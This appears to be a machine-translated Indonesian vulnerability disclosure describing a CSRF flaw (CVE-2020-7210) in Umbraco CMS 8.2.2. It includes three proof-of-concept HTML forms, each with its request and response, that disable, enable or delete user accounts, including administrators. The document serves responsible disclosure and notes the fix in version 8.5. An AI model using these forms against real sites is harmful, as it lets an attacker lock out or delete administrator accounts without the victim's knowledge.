CSRF di Umbraco CMS

Pemalsuan permintaan lintas situs dapat digunakan untuk membuat permintaan web sewenang-wenang ke sistem manajemen konten CMS Umbraco dan mengidentifikasi penggunanya tanpa sepengetahuan mereka. Serangan seperti itu selalu membutuhkan interaksi dengan pengguna, tetapi, sebagai suatu peraturan, cukup bagi korban untuk mengikuti tautan yang disiapkan secara khusus atau mengunjungi halaman web yang berada di bawah kendali seorang penyerang. Ini memungkinkan untuk mengaktifkan, menonaktifkan atau menghapus akun pengguna sepenuhnya. Akibatnya, ada ancaman serangan DoS pada akun.



Latar Belakang


Selama pengujian penetrasi sumber daya kecil ditemukan CSRF -uyazvimost segar pada saat Umbraco CMS. Kerentanan ini memungkinkan untuk mengaktifkan, menonaktifkan, atau sepenuhnya menghapus akun pengguna, termasuk yang memiliki hak administratif.

Terlepas dari kenyataan bahwa dalam laporan OWASP Top Ten 2017 terbaru, kerentanan CSRF meninggalkan daftar 10 yang paling kritis, masih terlalu dini untuk mengabaikannya.

Kerentanan diuji pada versi 8.2.2; dalam versi 8.5, sudah diperbaiki, tetapi ada kemungkinan bahwa versi lain sebelum itu tetap rentan. Pengguna produk ini sangat dianjurkan untuk segera meningkatkan ke versi terbaru yang tersedia.

Bukti dari konsep


Jika terjadi serangan nyata, dokumen HTML berikut ini akan ditempatkan di situs web jahat yang dikendalikan oleh penyerang.

Contoh 1: HTML untuk menonaktifkan pengguna


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Permintaan yang dikirim ke server atas nama korban:

POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Respons yang diterima dari server:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}

Contoh 2: HTML untuk mengaktifkan pengguna


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Penyelidikan:

POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Menjawab:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}

Contoh 3: HTML untuk menghapus pengguna


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Penyelidikan:

POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>

Menjawab:

HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}


Korban menerima respons dari server dalam format JSON (layar yang dapat diklik).

Segera setelah korban yang diautentikasi (administrator) mengunjungi situs web dengan HTML jahat yang disematkan, konten jahat yang aktif mulai dijalankan dalam konteks sesi korban. Meskipun jawaban atas permintaan ini tidak dikirimkan kepada penyerang, dalam banyak kasus cukup baginya untuk membahayakan integritas informasi korban yang disimpan di situs, atau untuk mengeksekusi permintaan yang berpotensi membahayakan ke situs lain.

Alih-alih sebuah kesimpulan


Meskipun semakin banyak serangan baru-baru ini pergi ke Server-Side dari Client-Side, mereka masih perlu diperhatikan. Setelah berbicara dengan klien, kami dengan cepat menghubungi vendor produk perangkat lunak dan menerima informasi tentang koreksi. Kerentanan diberikan indeks CVE-2020-7210. Saya akui, bagi saya sebagai pentester, ini adalah kerentanan pertama yang menerima indeks CVE.

Source: https://habr.com/ru/post/undefined/


All Articles